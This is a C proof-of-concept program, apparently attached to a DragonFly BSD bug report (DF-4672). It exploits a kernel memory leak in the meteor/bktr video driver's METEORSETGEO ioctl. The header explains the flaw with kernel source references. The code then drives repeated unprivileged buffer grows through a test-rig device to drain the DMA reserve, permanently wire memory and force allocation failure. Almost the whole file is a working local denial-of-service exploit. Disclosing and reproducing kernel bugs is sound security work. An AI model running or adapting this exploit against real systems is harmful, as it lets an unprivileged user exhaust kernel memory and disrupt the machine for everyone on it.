DF-4672 / poc_wireleak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 | /* * poc_wireleak.c -- DF-4672: METEORSETGEO grow path never returns the old * frame buffer's pages (bare kmem_free of a contigmalloc'd object-less * region: no alist return / no vm_page_free_contig / no pmap removal -- * the exact misuse sys/vm/vm_kern.c:311-313 warns about). * * DragonFly contigmalloc serves allocations from the low-memory DMA reserve * first (vm_page.c:2765 vm_page_alloc_contig -> vm_contig_alist; the * reserve is 65536 pages = 256 MiB, vm_page.c:426-428) and only falls back * to the 3-pass PQ_FREE/PQ_CACHE scan (vm_contig.c:296+) when the reserve * cannot satisfy the request. Reserve pages are permanently wired, so * reserve-phase leaks do NOT move v_wire_count; they permanently drain the * alist instead. Observable phases of the SAME bug: * * A. reserve drain: grows succeed, bigbuf KVA churns, v_wire_count flat, * reserve alist blocks leaked forever (nothing but the buggy path * takes blocks out without returning them). * B. post-drain: grows fall back to the scan path, whose pages are wired * by vm_page_wire (vm_contig.c:447) -> v_wire_count climbs by the new * buffer's size per grow and NEVER comes back. * C. exhaustion: contigmalloc fails outright -> METEORSETGEO returns * ENOMEM; unpriv user has eaten 256 MiB of DMA reserve + all wired * pages it cared to allocate. * * The GROW ioctls run UNPRIVILEGED (real /dev/bktr0 is 0444, no * priv_check anywhere in the driver). * * Build: cc -O2 -Wall -o poc_wireleak poc_wireleak.c */ #include <sys/ioctl.h> #include <sys/sysctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <dev/video/meteor/ioctl_meteor.h> #define DEV "/dev/bktrig0" struct rig_ctl { int32_t npages; uint32_t pad; uint64_t bigbuf; int32_t alloc_pages; int32_t rc; uint64_t bigbuf_pa; uint64_t probe_off; uint64_t probe_pa; }; #define RIG_INIT _IOWR('Z', 1, struct rig_ctl) #define RIG_STATUS _IOWR('Z', 2, struct rig_ctl) static int geo_pages(int rows, int cols, int frames) { return (rows * cols * frames * 2 + 4095) / 4096; } /* exact for target <= 511 (rows=2T); larger: rows=2046, frames scaled */ static void geo_for_target(int target, struct meteor_geomet *g) { if (target <= 511) { g->rows = 2 * target; g->frames = 1; } else { g->rows = 2046; g->frames = (target + 1021) / 1022; if (g->frames > 32) g->frames = 32; } g->columns = 1022; g->oformat = 0; } static long wire_pages(void) { size_t len = sizeof(unsigned long); unsigned long v = 0; if (sysctlbyname("vm.stats.vm.v_wire_count", &v, &len, NULL, 0) == 0) return (long)v; return -1; } int main(int argc, char **argv) { struct meteor_geomet g; struct rig_ctl rc; int fd, k; long w_prev, w_now, w_start, climb_first = -1; long wired_up = 0, sum_new = 0; int grows = 0, step = 64, kmax = 64; char tail[256]; if (argc > 1 && strcmp(argv[1], "--init") == 0) { fd = open(DEV, O_RDWR); if (fd < 0) { perror("open " DEV); return 2; } memset(&rc, 0, sizeof(rc)); rc.npages = 32; if (ioctl(fd, RIG_INIT, &rc) != 0) { perror("RIG_INIT"); return 3; } printf("RIG_INIT: bigbuf=0x%llx alloc_pages=%d (wire=%ld)\n", (unsigned long long)rc.bigbuf, rc.alloc_pages, wire_pages()); return 0; } if (argc > 2) { step = atoi(argv[1]); kmax = atoi(argv[2]); } fd = open(DEV, O_RDONLY); if (fd < 0) { perror("open " DEV); return 2; } if (geteuid() == 0) { fprintf(stderr, "run me as an UNPRIVILEGED user\n"); return 2; } printf("uid=%d euid=%d (grow ioctls are unprivileged)\n", getuid(), geteuid()); memset(&rc, 0, sizeof(rc)); if (ioctl(fd, RIG_STATUS, &rc) != 0) { perror("RIG_STATUS"); return 3; } printf("start: bigbuf=0x%llx alloc_pages=%d wire=%ld\n", (unsigned long long)rc.bigbuf, rc.alloc_pages, wire_pages()); if (rc.alloc_pages == 0) { printf("no buffer installed (run --init as root first)\n"); return 3; } /* noise floor */ w_prev = wire_pages(); sleep(3); w_now = wire_pages(); printf("idle wire noise over 3s: %ld\n", w_now - w_prev); w_start = w_prev = wire_pages(); for (k = 1; k <= kmax; k++) { int target = step * k; long before, after; if (target <= rc.alloc_pages) continue; /* grow must be strictly larger */ geo_for_target(target, &g); before = wire_pages(); if (ioctl(fd, METEORSETGEO, &g) != 0) { snprintf(tail, sizeof(tail), "%s", strerror(errno)); printf("grow #%d (target %d pages = %d KiB): FAILED " "(%s)\n", k, target, target * 4, tail); if (errno == ENOMEM || errno == ENOSPC) { printf("=> contigmalloc EXHAUSTED after %d " "grows (phase C: unpriv exhaustion)\n", grows); } break; } grows++; ioctl(fd, RIG_STATUS, &rc); after = wire_pages(); sum_new += geo_pages(g.rows, g.columns, g.frames); printf("grow #%2d -> alloc_pages=%4d bigbuf=0x%llx " "wire_delta=%+5ld\n", k, rc.alloc_pages, (unsigned long long)rc.bigbuf, after - before); if (climb_first < 0 && after - before > step / 2) { climb_first = k; printf(">>> WIRE CLIMB PHASE BEGINS (reserve drained; " "scan-path pages now wired permanently)\n"); } w_prev = after; wired_up = after - w_start; /* stop sane: 320 MiB of post-drain wired growth is plenty */ if (climb_first > 0 && wired_up > 81920) { printf("stopping: post-drain wired growth %ld pages " "(%ld MiB) demonstrated\n", wired_up, wired_up / 256); break; } } sleep(10); w_now = wire_pages(); printf("\n== RESULT ==\n"); printf("successful grows : %d (all unprivileged)\n", grows); printf("pages allocated by grows: %ld (%.1f MiB)\n", sum_new, sum_new / 256.0); printf("wire delta (permanent) : %ld pages (%.1f MiB)\n", w_now - w_start, (w_now - w_start) / 256.0); printf("wire climbed from grow : %ld%s\n", climb_first, climb_first > 0 ? " (post-reserve phase)" : " (reserve never drained this run)"); if (climb_first > 0 && (w_now - w_start) > step) { printf("WIRED-MEMORY LEAK CONFIRMED (pages wired by the grow " "path are never returned)\n"); return 0; } printf("reserve-drain phase only (increase kmax / step to reach the " "wire-climb phase)\n"); return 0; } |